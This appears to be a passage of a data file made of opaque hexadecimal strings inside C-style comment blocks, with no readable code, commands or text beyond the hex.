61369d4b4ae86ff7a03f1170eee02de951c596ceeb859b024c8768e79010620ddcc885ba1fab139127040efc912141f2be1b92732e19a98a123c7438a1a73af14e0de587174c6ca58411f48be9a16d22e0e855eb1acdf0d71655743e2507bfa5f11347897065ce7202b4c00eb008ec00c0256bc3a388db3530c3391ca5ba6c71b4a0cb82f44efde832a1914c8512012ee743bf1d0a2c351f7b1f1eda6913cfc33926556a80983e57c6da491355843d0b53e1dcd5e0ca8c6f9eae8802a1b232ff8adaa2a7a87abbcb9f8ea64d7e2a1b348370f69cbf5a75cca34aec6e49c83bef37eccf1033c1aea7457a198a59c6726788d0f7ccca69b646a878c83954da67deb3504e0691bf93434b084804e58dfc642cebc47c629ddd55192309e20a8ad645b5287cc8216dad555b32ee5c9303011492814205d1047e27dffae6d95fd829996a2fdb32b02f5962ec311760e71e54bf784094e78109ef033a047e862f7ee059e1084519640713e53cb76c77de647e24d9ec928fe73d3de73e064a8e5c0a2f044980323ad0bfb4511fff72ff502edde36b1e1b3eda0133707bd5f0e0c7fbd822601ec237632a9f0b0e7df29316e2ac2fcc5c60e2c2d4ec8b39cebe30a0b1f3620ac458cca65cd158b8696030848445d5ec570eb506b3ee3f0963e5f8ef3487afff29d40cc7401db77390b2f44d39c5e4068ebe11ab300bd63b337eb9da3aee445d8351a7ad1cc146db9ea9163745a1b7830f71c37593ba9b12ad3d187f015ff819f2c2cbf8f4fa1e923b2024089039735a3a8dbc604a827c77c87a9151848f89bff8be8c071dd5f7ab374a709d9e169d6d51a0967b8ebd88821a90482664c5892abfd18fd32551dc9343c536522990f1788704cc23980423a52aef2da212ba535bc87651e17f6dfc2060e4696a2a13612a08e8170dc2b7e9e7e0b687cfbf6301f5cc088947fb6d51568d3eac020c540cd5ce4ce11d9e852b2aaece71e33e40d5cea68b59073e2198fd012110681aa8cb447effff25e78e832efa74332cdbddb034cb08b5a31fe86ca2c2c53be3776046af4c8f6d8daa1f41a387394b830aec4ad21897ffbb6bae410d3b5d1dd106384087653d3339e6d09a8201ae159155377b1f82a8ed9cf2e7375d47b169b9f819956b280a41112ba106bd7037e0ee0ab61577340b72f14c6cf83b794bce61e36f2186a9b94506ec35f5a177088e2fc7f74b52ebb7a7c5b4d14cb703de6c9cd71fc304b8b76cd0a53df739fb0caf3e5013c267e42257b44c273b6818b86bf7dd0b59ecb762da892bd3d5c93911becb665bb7f2ab154ecb7f5d1bde939816b95e4e796905bb27fc59a03262dfc84dbf824a02146ca7e94a0c8bc4b922ea0b1170adde43138bdedb4197e482feead83dbde60e4d9fe1636b31917e071b91fc731606798715827b2a2eb32a494387138c860e2ca3b80c9885a1bd5897c9f2a5974bf6fd44f444d5491dc85b6c014bef63388dd395807df314fecd99930f7ba97bad0c0d1261ff4d952a34b1782399ebfb4e882b01f5bee984f9e7eba6bf3a479364107ac051094cd2a07d4311d92effcde94990f925b3d564a47f9e488797424162f446f44180d8913c9bd40d12443ecdd78785cb0aae43acbeea2bfb32eaf8197f07df6da01bdae34886964fa9265dd360a0e91f5c0f5fa8a16c3e8618c33e807abe4bf3afd084e56fc39f81f39b00d49500dc3b2bc0f7157afc7b715911a7b24e74608b8847ba8d2364c371bb090b2b90e475b35279ce543323016d4d2b6ea08fe88cb22afc95448eadb683956b3484f226b3cf4f877c1a73f9849c9ea9ebf31bb9c763ba5d604ec7b6d5e49b8ae4afade6d302f1447d90eab14b3dad1b3a33de57cfb7f1650c0d3b775b5bb70f3eb39fdd38c19b70aee225894204b739650dbda22c9802f745b3be53808c83b69afd2b3053260c49b4630c78ffa9dbeafc847553458cc6503556a101b3fc3f66d5bd314c68caafdf2bb7d1edf592128596eb25f7894c459e427568661cb753926ca544*/
/*86a0b7e82ea6de117fae89a1c4a46f653457e00881397c762997880112c605659c57811deea2b0f708e2291d9bd0e6ed934308adde8a24bffec42332bab5ffbe727e2cf134cfdcaf4738a1dd6387abde78b0da8fce880e22c469de0a49ab92fa698baa631a1b6c4249500133a77a0df6bc8589f7e8fabe8d5f318a34335d1b4c2ceca0e6c705765cb2b0c80a650916f2d276ffa8c39670fa99cfd99ee1e99c52ff12645ef3c4e7c1bfa03df675c26c4c81109b07540a39aa612ebc156c06f113bc3b448b7d3d47b07de4c08a72172aa0d5a96033c6bad0ba65ede4955c3cd61ebcd646682be79c2fece69a6761f9028158c2c16e80f95cce681dbcc3c46f56f56023c49a7b7942b3f6f5af9b84bdab5588d2c81cf37f5d62182ff77270cb3fa684f63311be095bbfdb1f76d20a3e0c21272ee650005a6a742503241598c52f88d633928c84fcb16b19e9c464f6a0b08c75e434688f621fe2269a7d81f15c0e16954f3ceefa84203d0989a9805673eb4ef163bdacc38aa832824c01b46611517a7396905db17ad454d6fd8d526e0e5d3a6c495d697fa9b18bb5017f833b4a9d9d0e649d4994fed52aced169dce17dc40bdfdea29e97235ef7cce136fdc9bdff7711bf8cab53c23b8de6866ed2ec8b4bff90fb8e2f4c30d8d8d59902d6b424d4800e2e86fee72035a2080eb0a12e097428cee1ad2cddc525210848c0857830049973434f2e931ceb6cfcb62d11d9529300c7d8f8fcc4e36bdf560fdcd2d4f3cb0a9ccc8f61b7070b0a52659f228b9b8f80704595e2a7f3f28308f3702f876aa1c175fbfc330b63e48ff6f918fd382f704ec4fab1b98c72a3c0b7944e7a43ac8c087ef3ccaa83a5977f8d4faa7fa81a5549b6eef1829c14f6bc7d0754a06c18b260df221dfebe5a0577938942f553b089f19853b8a08628da03a37c7bb852f33fe32e6451917f47681dcc60138266bdc14239acdcaba3785e89b3610f22bd88711bdf766a997127dbc8fc8f9ebcfe1d81789c16b471f9d4d6e5da35579a92e9c57af90b6fa74413e37bae2f30318082077c5d1d6815eb2c15a63522125928a14c01d3b2edc87b3d93ceffb73ce5542b2ee8a76516008699a1d8521558a0c66fd46dcd9e7f211f9d4f197f75536733a40d32debb19920492f0428e19bbdf2850d27cb2c017cbf10d120ccd9a4ba5dea69b0ba2e5d8addee76c283237d11120c91cf5a01c6d3f4566f12b5eac97a5252e15eeb461f16c61bb4a3e8381e84b2fefef274691dba62f0cdc902b451fa5a31e19a539e79c2345b4a34fb1c5d59cee1ce82dbfc878f0f787612511fddb09411796f1f87df0fcbce7e337b0f5b50921ba0bb1b28fabfeb4cc948b6842187fd210ac59d7b4d0e8e5d490536a49c177d3dae06c7bdcfd2206172a41466198f32ab69b9f9559aecaeef66b4f8838139b3f4aee5ae13f8d4d0edb8e5dbc575e4dfb75b65ec0671cc35f6cefbb071383812201e6c8c4d0e7479320f7258868af68d416e0250c5cd87e41e880e53e7de283cd7e0421cb5688c971a0810c57bd4f3aff9b25cf4b6e2e93a8ecad873fbbffd3a3770e95b80fd4f1594099d55f411f67d732b154c8d5512530547f8a0157b4ae802367938fea4a4dd9a79aeb164604280a415966fe2e726d9a2ada536df9690d4d64847205ff87aef8420556a150ea57e70683d3e218bf20b17d1cd62e2b99e656592a55e97f354c547f18b02eadbd84d8700238b05d530aa37e6ac7804da2f128eeda66f5dcedf1a8a581039db45b66854fd9dfbc60784045cee208cb00ab68ae21d3045dfef72e0638854e5c94b235c58f79445bcab5fdafafc26d46d0fe19e5053ff61df17760a7f2f77bea53f6a9604367d942dca13c7491d0ca2523d8efe5772dc8164779b6782dbc6fd9238e9969a7a434deadf894968017c1101c058353c606f37e2be9833aa95ab659753cf0e418eee38301d0c6588c98f1d204932551d7d97bd69d4b7a0d71105de36143b2dd7dc208d5c6aef6446bb8e6393d1d2272f00d49b182788f63c9288de487537b5c8ceafd94fbb0b5c5d89d09ab57e4d0c7c4000d02d71bbf105bcab3a477f143e9a89c1771b3d2d44243071bd54d314d06b6e6a1cfbef626d719b177134448a371837d5b5d159466e274a50e49096b1c994dc082c2112fd1a89be31cb90359e9d386246457e8e2a77a3de4ee53eb0731d8fcd3b80f35d5c91f817152e9109bbc0b3c5314093d323521b8406ef2bb39760b8a8b49d26bf051d8f09740dbf76053138405d89531b15b349d79c4ba591342546ffcbd53f706841be132d447b75e61c5ab9a26ae5946c071eda426333fea7d2d2df3ac371b25be9ce23dcb15638fa6a7764537d19d417324c21bb957b39fc0448b49af4db2a46089b0b9d8e3228822dac3929a9ebbfba8c413dfaaba15a248b65e25eeec2a3d7789e1c94fcc6dda7084036b2f8e4ca746bd1b1cdb5422d16b89d5b5559358a0ea21212ef5b93f73b248d2f9e9e5f418b4abcf3b98592c276990fe81c2cc8b246b557e1a1846ad0b0b2a094824702cc07d7c6f8c6424a097d45c2d99f609ac34c88deba4f86806eac2d1f46ab037f53e432da9c8f9b0622463c0b094f60cef8545f4b292990378612b8f83bd396cb466fd577bc52b9c8f04b3468e203ed82edd9ec106d245c3f6b87449621587fce2bb6bf8c2d15af9ae0c8d79aef28c33ccccf4ef87f8b598a8d7cdf568f4f50db397def1f08f462ed416abbf62f50a56fad1909fa7a71357aaf0f90f9c4ce225e67fde6f84438f551ac86170e6fe0046b449c904401a532dc8fe94904aa376*/
/*57698a4029bfc4802b8b08e7c57970091f93bb57528bc0bb2ab39fc8bc852b39036b04ae2cb603b7b9a34b162d8865f8b90048aed6b35368606eebc82266a77e755fdf4ec6bca774e8f7e0d80c4517fe1169b2f8b33e50aac1696377d4987ec6688ec36dd4c8a7b389be383397398993796194231f78cdbc694749878b6a0fbae8e06d509c48fdfceeda1c9898fc66de37362d7f3eaab95a06b4bb6a309b9e8b4619770d195376da8dcca1f8b24cad6984e2c121798346f0c4d081cd79e455321ca7ef875ff99d36e9b5e7d507b46d4865a463bce918874a1b6233f584addfa6776994e5533d5283e55db0872300b1fd8fa6cb55462047ebe3641a7f260d87ed1b7bf889f3ba267ae8b1cd0b2d3f8aba59da5c9f8155f6d013a7c590e4212360913d04e22e1101d175d89c8631453277b3517e982551b5c588589d385ea4b48a8096fe62a2ff6e42265561c998ee741980f562357eda6b5895ea03521b279d033ae6cf3d75c4112f8becc1a42ce6da9e4481a598791a821052856d168f6c6f9a6cff6d182edeb4313def630eed40b45988086bc69bdbb9bcfdc08b8b5891bb8e26c69d51e8cb1eb09ef60ab7d527467e8677f0ca82d30c9b45df329b7954a548f55a9d1845d5f6f093527c828899799d7b74c2359152978548ebcaef395f0baa7bd2060089dbb3e71fc3fc39ba2a01d58b936f775a0932a39a95faf4ff8fa98c11da4c1d42dc98cb88a555e6a09769548dc31554d056004124588ce72fb869943676d7d1bd200f01873301ba57d4535c26c55e27a0496ffd0559c2a2962b7b74341c726b54ebecbe343142fce6bd472d43e7fdd5488374ebda0ff8f534813a694e43799a9026ef6f6751d711ff5c93634f1fa7bea305b8545eac09f45950e885396dc53590e202e1980c132d603ce5e749fa5cf1611045f68f83fb844522c848ca39675c6a3e64ada092a6631978cd9c7bfc6487857a22ad41032f1eacd0e7cd1e670f3596d06b8450dadd766503620aaefecaaf8027592aa44b1974e9c61869f09f2413131712c1dad673ede2e83b8b60f292e37227502eaf8a1ca2387b022ce0a6ea46f035096d839ac60f7d8a99f52aab3f164fb7c8b0cec1ff6c3638969261f77d13204a5f8a5c43d7038fc20347518dc8268bba303fa16f4a5806b5344e91f6005da2e579bceafde8a2e2ab3f793e05185b0dcac36f3ff336487015e7941075f793422936f7e97f0cf6421dadb0b7a2a819c292f5287096ec40f82f318305c9aa89922d093ac7286ad66c4107223968b864a91154be211e4e6187a87fb305785af78622edd7c5e4e37e2e94c5345ab1eb8ba701198cab29659b1051c8a58028fd3137cae817e86825c4992503adc5ef8d5302a5526888c9e0525b70d878a419438ffae303353b3b75023d5d0bae5f17b5543d5577162f5fd88b7aa17f164096be1a42525feb790269d1343e4a0252b409f536dcfbb0e6e0ddea8467818ea17166a234a62c7c3fabdcf9e8b839d1e61bb112810a2b8058ba9d17a87217438b7c58117db5eb8f74e9ed919b1d0169c8ed5e04270455c8444a476b56d28a1d1284674575cbbe3391b307ffe36551fd1f5c906e464dbe7ef2eff76b30fbc7393b9a4239e170655c18015a2ac14673246d96b138cfe86b100f4ed6b27588dcce05144e8fe777ce7d36b80769cdf0e68b7aa884809a16d7062803d32acc9362ac0fc392fa067e07ea72d292507cdda1a09227825fc837ed9f045ccff19cafa93d3333d3a554b07b02909f75238fa3d068ba4eca3ab4e922b54fad678142eb75216cf7696d47e452654fd02e2493ac6bf0cbbd153a6889aed8da1587b6c7b336f9343652b685124e807f68d7a8c016f7ae93b899f25cc3c4f9ff4188e94e1d12dcc4fa59ca08f2fa0c435288caf95e1a3c4a83c774370defa2c0a3cbf4e880f58900fadce1f787dea532e94a8ffc6c9c4fb5f13b7bf61b6157630405e08c2035c73c8d43b24400a28cae1a67e0ccc1dcb180966704943518aaf4592e71f81fd69b5e30253a00a7773acd3c1bff942629fa7122227a35be8a511de5f1617e5a3af926fa53f460e7a28f9865d6bcc2cec6a05fa36e9c46645824966673305f1da87b542c1eb7f9a65979968b6865ebb389ae03f677e4432cc243068942735e137cd81cb222832b67cf27340c713808bbd5f6d598cf17db3e10c8a65d28216cb8bae7471d7ceb75264d8bf103138df3f76a3aef1d0bc1e87017d569466489628d591af7f0ee0abc21f7c4a2586af27dddfb04d2e6f0390dbd2550e074b5e776a328f5f172b5a8d334882e8d46c4a7d85957ad1eb1bbfe157ed03ab7b4227470d3dc49ce1500d119b82394db063a04879b9aff5077fa9f9040d10d52de1fd051f9f09f34a3c4af95a766c600b18dccaa860e8a530626365b33c038ed09dca144b763cd1289d11555bd6f59db88356171250f45c1db7bce97bca320fa4d99de133dc62b5ba514a6422ac3f60dfd648c45249de365e4e2c304adee23c61920955118e4bcf7fbec1bfca35966bce358a91ddc97f24571b30868e05fb9bd8c58922b908c13cfdd2d6d14d871f5aeda51f5e387cf942d23ee75c530a6efed3129259ec3069d158c1cc33e471446b5c6ffc7031d9f31fbbe3cffa38daf7410cf07dc85726ac04ba54e41dc5fb24c50878f9437deecf100462d8b2daf6e0045f835dcdc215d5d2d5424f517a4367b818791fcb5ebd59e96cb277e309df2f41b5ad642b7f63335c1133bdfe021b28cac90496cb55c253a81144643b75944fc95dedb6bab5c254e1e7ca7610649d8ec9c2c81dac513f260*/
/*5d5eca84455e8bef26c3fee7ffbbd95d3ff4d648880ca9839b160ef8f147a592e54120f6af1b67fa5471411252df534d7c49b79a88da38449d97d093282316ca65911ce479f4216614804a3d91ba512df828caa7557e564fff0d93012e63693229dd23c2dd84f968158f7c9d418b72ed57828037a91b021acc7a27fb2d44e549449d8f67cff4b8d979bf8e8503ecaa301157de38eca02343e7ed6f295940f7280c31da0f0f3c361a9b8231a408e7813d54a5c4820e1c4bb13d9f0a30ebab15e2d0b735c2e126e66a32f8e1d75261ab168cefb2e298c96797158f5fe0b632755b2ab81b99371cd11669b658f058d08ceda8c93d792b820bcbda841998a4965d095935096c607ae722a93f289d9f8948a293bc1eb4c9ee51aa8bcb901310ecd70112b798953445a71eb2d41f6b53537db0da03fe8102218e678afdad44d8cfb4877fb90ab8c64744906d280c36054ba8a0df6d5921cd842b8c78f8acc26907b55bb8b09a0d51330571306b58e05763b371dcf5cc7b0c79ee8909b7ce6b355e81479432d67ebd4155c0aa14298102d26878b153e8b81c998a14a40fcfeaecf4efc3a44538115c977b6842cb7c109190ec561df9dcfabf848bcc68db4bdede58e96d08e81045f3a9bc0f0bcefad4953fd913b7039238feb1ff91f264317e6927de663c9e1c75540ff3d9638c23e72ee8d5d72b20e33d1b136c588bdf9047f5a24d9c6d296c7384be4d998d9bc6e62c65cef495d4b6b1d02a04d1e935f582a602da21f6c47c048f8d668fc658ca4f0e17cc926ebd306c7ce1be67801edbace8f0b86b8afeef00e27b06e24efce74e31bf036f7e915e7dc45f8c8c54b250dfe4f08aef1aed5fb1ce5b436bf7c12ba768757d7c489a73ce56d8deb05a3d562f76a12c9a731b2e11fcb6b96c5ab491ce64eb18896aa477f5906b7eee3525a99d42bf82e58f37192629c8d28593cb84b4c6e95f508ec33c190b30bad66365d01e4efae9dc1df379151678a0e48844a9efe909f854c2bae78ac9fbc4fe00a24333dc2b8a08919c08705421c124619f6bb73aa222f75840a8bea1c3dfa64d6282a44034fde28c1064fc37fdb72a767fcdeba68f07ab2b3cfdd6c111e0de7bb2b7c6d1910e868e19281a33f4eea22b719c043547e5c20572c1b065f7bffa86514ca8b039f159b7fc6aebb55aea6eaf0cbe502273250f3de9e41438ab4f7c96ac5d263e3edce6e8300911c1cbdd2d50478ebc7dafa686382b49113973fd9c79f150303478245c971082691a1232adc8fd44f0fae0d0706af9312cd06503d489eccd05f599b224ea17529d57378c36c075c3e5193dc007e0535f202a747c368ca4075dee1e1d2297ef06a8149edc74ae91e0743cfbd65002f9bab3183fdca82d3bb8ba53c9865f469189476bd95de65bbc784be95c489933b4edf45368ecc563751166186eb1343aca95be62dcada028f343a105389d2295b27d77b23b1a25f03cd5facf5afc4a98a642c31ab98e1a5ecfe81ce847377b72edc90964d8630e7b3d88662466adba700e23c6d2d9d4f3e715827c6dedf325eb00b81bfbdc54152a71fc935df9e00103708b5aceb67e4f35294fbb39a1ba98a2b0ce50838012e795da68e6f8d7305ff14a7da6ba7c392ac97e7d6c5247295f9b61796c8ba74107673ccbc8c3a6b3b967464abbcf06b567bc003e875c266c0f97a21836a4502628ca5a8b0e74c67a258f4a0ff4190c256eac6884994b0ec4a95dfa1b4802ff5445775be74b50d153aa6baef6d97b606c754aaec64fdfdab6757db31be120cabef1af6db47dfbeb9d2059965f04ba194d747341884560c6a017e6084da6f7ceab4fdb5f23ea8eaa62adedb84713546925060b193f65027781b1dc93026edf5fc510d84513d418c4a619fbb72ec2db73f95e863b2dd07f17dd4d35ae6a3107b5b33e8aed44717beb471e386082a768eaed83959e5ef2dc6b64f35855496cb2696b7ef326f4aaad88f48c8606b319c96886f5639b3848129a84bdc13834dcc9a11056eecf5acb2b4af2ee658bfa2bde2cffc4c05144758252dee0a2fc2a3c1c43b732e2f25678372018974c3df6ec1a52cd396cdef69acb4c88399bf9b542bbb822f66a2c5ed70dc70096860e1ac638e01470d19de58b4bfcbef28d7c2b0579b21ab3dcb2a7b80e3290f538dc61551f9a96c28dfbd385e4e0e47c6a31b29a5864c933c69ab5e508627544f21b3fdf6a0f9b7a32c6899f643bdca78e62d3ac474eaa6e26beda5f6b90cd76a5d966b19ec2e7d4f1c2db1cec2f700231f7969e48c37136d5573e2a4cbf0467234c7142066606071e2913067e42f71ae822dadecea37a6516d634bfd6a8aa6df3c0fcac5717ff20ed4bdf68ee3325b339dc2533ce1d4aacf964a03f4c414f70e56eb6442606723e883818dccd0db3c78f6a9c4cf6046389f1e5f30c57d707f05ec1a1eb92137a2245f3f76f241d205ee72a74efab2bfef8ff1de3d27d33a7f7a84692285ebba2c147b69ee1dc41c03cb8a8308bfdc0048bca5b0a51dd6fe4dbb593ecb959334138915c6f001a11c55e536c09ba6071b426e3ee5db5cec2d503edfdcd47b126ed9a730c912fa37afb7ff20cdbbc588b2f774c11059ef959681bed7d446c5a673375cc37f4784584165de81ae294b1f62a639917b3608c03ab5ced6b69874043470ecbda05816b3118551d64f5a5efc190ef779d17bdbfdc7479705b3e8729cd07985ebbfd09b71475e5445a9d96fe378374023d7e8f6f75c180c5485a7868ea38ad46c76218c4fd4732bc62b870f1786d762ed0ee5500c7d5808070de1c1e0a9c78784016c1d35cee0b*/
/*7ca20a68ba1502e830bfe16d0e791c75562fcd98f0fdfc9ff3f6c049f5700141929708ebb21e900a9a4de90b32d03c077b018f61a8c7ca169be32172505fe8b623f3678236ee6ef94d66dcfaee25d294c0edb13c324f6d211b984e6d7f0add24f70d5d297f74d330ee1146060f54272fbadd437db363af173ac31e1661a080ea9a9e5bb24e0412a21fa5d8b40c64e6d8a3c23e0e6b642b342f5e81b7f0ffa41d2387516aa33761b2bddfec49acf64d4f741441d7a8283f1b74a7897f16913c0ba9c086001b43a1daec08da276b30f6608079b11b06c29c99b979505584dbe09107bf4a1b606ad449c07267daf37db252cfda8c1e9b8d0df22ed3bf164b402ef7180aff4cadb7114224c79a70b8ef7e55f01795159101fd8b9e967e627e44f579db9d4142f1511093b8ac593287100da1a0f16daeea14305753e2d1251195eea3d8694ddf7c1111a9f3addb0c189828e9fcb55e0ddd4eba821a1ad98be6567b487ca9126471ec5e3e9a67eb6f419341d193f12144a3beb9c630b5cb8213d5c9dd4ed3dd01007acc0dffbbf9fff66414186f37c04d24c54abe1d33f7718856f03e6faa6b91155db8a4159b7ffcd54768c04913e2a72fae92379ea115b20a34cc97e89ec4f23cf74189d49a1ade894fa244cbbb4a888ea90062a4084b876d67e9fc2aab280e7017f471e59acbcdfa12d64066d3bf82d69f2ccc4303db4188c18bca64f3ffb17ced4fd611e8604278d6847a280aeae9e29567f1a54dbd2649061695c1f7df61ac59e3671ae989248e0423c2091c291ed034247479002b8d84d4f749f667888032652df31c6f69323b134f81db34ca42abf54f3bdf0f0af41eac121d3283df6d43b3451b2a774a5b7e696f7199e988fd8b072ff728a5f7e60fafa902319cf54bc8950428f32fa461655723fb1386d73a774aa4336d7f858f76217ed7e8c9143d8ac0f60b0629fc7a136541a533081376d08eaa6b67659c53230fbbc3fcaeeb7d3ecbbf7dae0ee6722dba1cd297fe0799d539b48b0a407f9c4055711f7b621a78730e37767b1163cd0eec82ab56cc26dfab39d1dbc927d13434d20bc1fdf7cff70870af3c21a666c726c0f195661347047c6348878663e07218b4307545bbd49a24ada0492f8b9050c5cfacf380e89578ff40a5467a77e522e9507dc3008cd1bcf0893692887ae76b6eee1dc18d87cc2cf411bfa4a4e9b779ae01cfaf1bba0da8ee97f495e77b4856c86e1587bd770e63baa56fd9635918eec96dbabf1723fc6749504d72e743ed8a1e810e6304d441000afd68cf0a29913bfb1582a84d12ae4d919e75854d64c0e829361e421ff745962297b345d9e2e9855fc6ad0707c5339d4a05d67e6ab60a362e68155b1bf2e6863e002de5590020170c7bec4c9f5d69305397006848c7a2f6447075438fc300e0b224a00af42a75f7ba972f71d381ceb785aa7c06eb76b62e8236c569f5d2b9f4571de9b2840f6a11dc3a3553e5384448fa2b9c22dbddf0e021500e4e3f4957b35866bccb21c1f5977b1984bd0797bf1185cfe024ab1da0ad033610e2b1294ba5f2341d14bcb2c0a0b35c9c13dcc3f7299115777aab71270f9d4b14fd7b5ed737991d9582d199f4fdd5cf75cb17cfd2d7cda9d2ef0fce1e97de4780b4a0ca11ea3cf3bfab7dc8c3ef017ad7cbe9f40f0eddc6626d07166387db1c4b9093165825505eb9e2a967fe20e6358a2b673f8e3d074418268798f03be9e1b033bbf05bb28edeaf132d46fb06362e8bd1d816cecc92d78b6e5072cdf4104fc47378e422748c0457cb3fae75929b56958fa204eb3dcabd764df92b7bd9fff3c4b00b99a0844cd66178a394b1283a6c2aff17bac93c14aa5dba7e91225e5b7ea94b06b571636e767a545be04f250476b66fd833694a5c2fdab705acd01e20c8258b44450f2ce9f232c1abf0724971414213614b162d27298fb0401c48439cc9f86b3c65631dd9d81cc70c3c63bf09a54f82f8270d7354d83d92d4148fb921359d611c67ec2b2322f0e46c3125ebac2adec7330ffbf6484dbde5fc6c4377a607f8029bbaa1f50062e90ee419d776714c672f97788c100a54ad8e3b8f7908425b8707b5f6ea3ad01cb11442c50c18e31e77f67f08757d7fe19664413871aacdfd06e237fd20f8d7dcd223c042073efc02d8a2c4bf7cf7d08351d1b0b19912a590b37daccec213f5e54dc85ec7df34e546c809ef00959b2c1980d9555d54e85546e89bb17dc7a5457cde47e228783183109f71821a1284b23ae121a2b70e0b6007956559e4cbd99350beb9bafa5769d07b63c8c1f6b79eca299fdc6ea2af6d81bde6cfb3682f40f0623045247d1c77dd0fc4f69158c8e3c07ed3d69d40e88b31e809473d4e58b9a62cf26f434d412b626ff895a551ebff47ea76f4154fd4d892f60065267ace3c1d506d9d661472e172c4237fba1b181ebef0079d35df2f819656e97be38d823bef205242dbbe53f6a2ce98ae9dafbea3de695c8b697eca3222e3460798a5efe3a547b1e31999622edcc1428b63dd620de11719a358d209aee8c446879858736501a0bacc79600fdc372b39ff148f2cfbfb83b0d62cd842bad9d36d36c0805cf77a587f7c653bb901ac50cd0205626baf053f12dba6e0d7282d7c021bf486db0d4694c846b2e10e8691b296628f253b8dca1c44f98b086cd63dccfaa84e6764e69042219f28e551da23ee1d8dccd2df3e9d2a6ec35c919d653babe98904ce038742a055cdb6a51d700b0494955411507cc75ddd2bbffdcd90d711498afadb52674de599df9af22aeeab1ca80f4fe4c171b5b5b04cb0f4d6889f8071df*/
/*77b1bac71ca695d27f6a1ea91c460968fd139dce666e1959ced4dbfe660b76d34f8425dd1eccc4a7239218df0ce306250c1f68f3bcd8d6960118902162b31c413bc58bcd07515e44fa7853fba725eca204611da8f019802cbb1af9bc9f28322edf84fb11690dba1e4ffc7914eb995bab8d25794558f234327b3d52480aded3505e1aaf4e2ba3b4769845258162f9c606c150ee1dadac97da67355555ceef97788ab51b986bac3ef724cd30a5ff619c081f51644bd5e88d6bf22cbdcbd450403abd63529a6ccdc33bf41babb25d2d1f275193cb1407561e9703b2c72ed9a337a761b5517fb8390f76cf3d8fec6acf26502359fb922ffd6125d06112625235d443d8c064c291b04a326a9d95fd16d1f6b03de4534a3d6f390b45801968c50c8a2ed3ae691a2811954d4c8f77f79ebfc782f153e034184f026527f78f062f324501d1ce810ceb87aa02c32d29949b63e7d37331ec4db8bae79018850030124a81990ad7c9d4bf7acf961c2aa3e99e8f79af4d3cb937869ea33e794800a820af7c8701dca317e5a4de0a4f74f43554773954a3e136b39617349b40261183699f19083bbb44c14d01829b7b4eea1cb4442743de879e1c46b40b0aa9f4ffc12f99c30889c880e13d3bd42e7b29d5fd8c04c494fe1e7db96c128c67fce17a42f5d674dba8962c7117af8cdba7b4f5da9692c04e16ed55c358371ae4e23772edb3c6630042a90028d689537741405b22d85d734653bfde96b0aa7ae211f225a6ae1721d4085fb391281d01de8e6df03e15397a28fc1394cf2e397ae440d0d1efa821f9e0534b2c21084e955cb1349d0d4734eb8a0c6fa9f426cf6938851de134085c942ad07736fdbb0c82c5d3a4a552feae216d163fcd661f4bb6ffb3f60a57953dc2853d7b0ed599382f4cc67db44dc72c81e71bbb7567487f0696f8f5476662aa0cb42e727b0b93aa94384330132d540d3c102ee5c2b64976478f54c3831fdda66ee2db11b88f8f527a54701422eea7f04e6b3ae99d0c9487c8e64adc453373814ee3e3546288976a90e894b41474004edc0a87ceb8db25bb55c9f3302f24581c0bb6d28becc364b3349dac689a8c250b4cdbe0f7f23e40671acc4ad87ce1a7a8eddd259fb7d11f51717e9dbf035dc338a29a0b06b8b6cf5f18ca3739c66289aa7f7b7ebc03b30e599e969e98957b8de25397131fdc2757ad7db0b60ad09f42baada54e65f512e441b694d80d4b8f4c753247dac38d085fa7932a15e05f658d645fe9b49c1e25c1a92c1ca99c1faf7dbbd45188aaaa4454dfcb199ea2f3942f942183ba763ec2c8be771ca2a5105b184c483b7e1590d363d52d66ae101f378314078a386dfd7f1887e6ad43f5f4db0ea572a55a72dd648c2ed90dac4cf3ff428c4fcb1ac1147b057babae365234e8cb93becf2dcadccacc0d444ae613516ebc19e275ac51dd372cb7e4181e02d54366bd3774fb9a37cdaf571d98a103efb0d10c7eb2d1c76565ef087fef749c6099d8c0595a7e3c2d816d9140d1d17956b9f336a204b064649df57b4ab2f9eb0ee8c5d9d09332e2ab2a45fb8ca1e92701b282304f86c49e1d331f85662e264e518c1525c18a617e709e82ddd2ea22f8b387f464723220d242d505a7025b8eaf7bf4bd8f58e84b65f5578804f5ad281e20c79e5c4d3ccfe90f5d80cdeb86406447d62ef6808e6da3ddfc87e581249c5c3ddb069d57b1da5db2ae8a67a3136a657c90acb26a9cb7b1b57c20e11ff704a91cc3b530ac95adbcb3506ca23f9299c627bf468e72ae3a044d29a065f850f4667dc2002849f53836cf67c35fae574b6c1325f4a6c9ac2cd09ab4a3522733f8b7fc0d976491f0739a47497ffbc31e3b0c810dee1dcf39de95325b73ae64378bfa27661ba6b7a8193f9aa114e8497ad2c877d724af3d2a02723ff74e511f585bd36aa5579fb5586d02d0151743d8d440db93791f65d73d54d2d4bb1bd6473fdc33126b6c124a7d18177683b292ca2af013701e26d708ae7f3c90114da44430bc9b535b3717715550ca5b45739027ef12ff22e867de17c965a6fa2c0d963d300f3a1f827650b7444c67ebd23544388486a92c20403d2c269d8af98431f214f9cfaaf7f258bdffb8e7c5966334ffcac1a045d3b87f9a2bc03f65a4739ec47704322f0b428e46e3e5895478dbd1ea230136d06f2c33cf0309dac4542f6c1cc1228cce7e0d45a550062b660a533fdb3b77d059ad4ab16a0ece44d69a372eddfa0ad21d70c07e212a6e371bc1f3d709736ec14bda6d7a320226087e2b4efc9711b3afa60ba2d2243aba43bb3266135817c01db2f0de13e442a346f245c5d25c506eac8819cf4d3d77326956a7a865eb70e88b2aad8fb8f5d4511fc7db84645223f860fd3e873c422e79308e0c744b73e3ff8ce92014dfafc639fcba535cfb956a2eaf119b2f770a3aebe8ed88a635358df641c54bfd6c47717939c11459109a526235f8d889993e69feb510bb8f68e118e538b51b2bd6932fb0c114932de7d5fc310f1a0fdd31cbb56f4f8e55a101ab71154e02bad721fae46a462fb841eb147b5ee8e430ee4c870a6f9bb016bd02c8f838fe0c579e8b2efc0571fa97db85824d13a40073f8bdc6a06961fd44669fb3c01ed8d7e8b5ba517ff39d8bde375d536f50f875a09fe0216d187a2fc936970fcb7fe25808c4ff0a94b0aafe9c292a9602b7f2b24400d9b9de1d4da9b499660231766ebb910d378aba2ca1e0f82f985fc75e483f738ad1ed892f7bbe6f3447424c22e91295c816c1de672964e01b59b5dc5c7b0f3fd505f8d5ce6920d8de7a121f290d99cad433194634*/
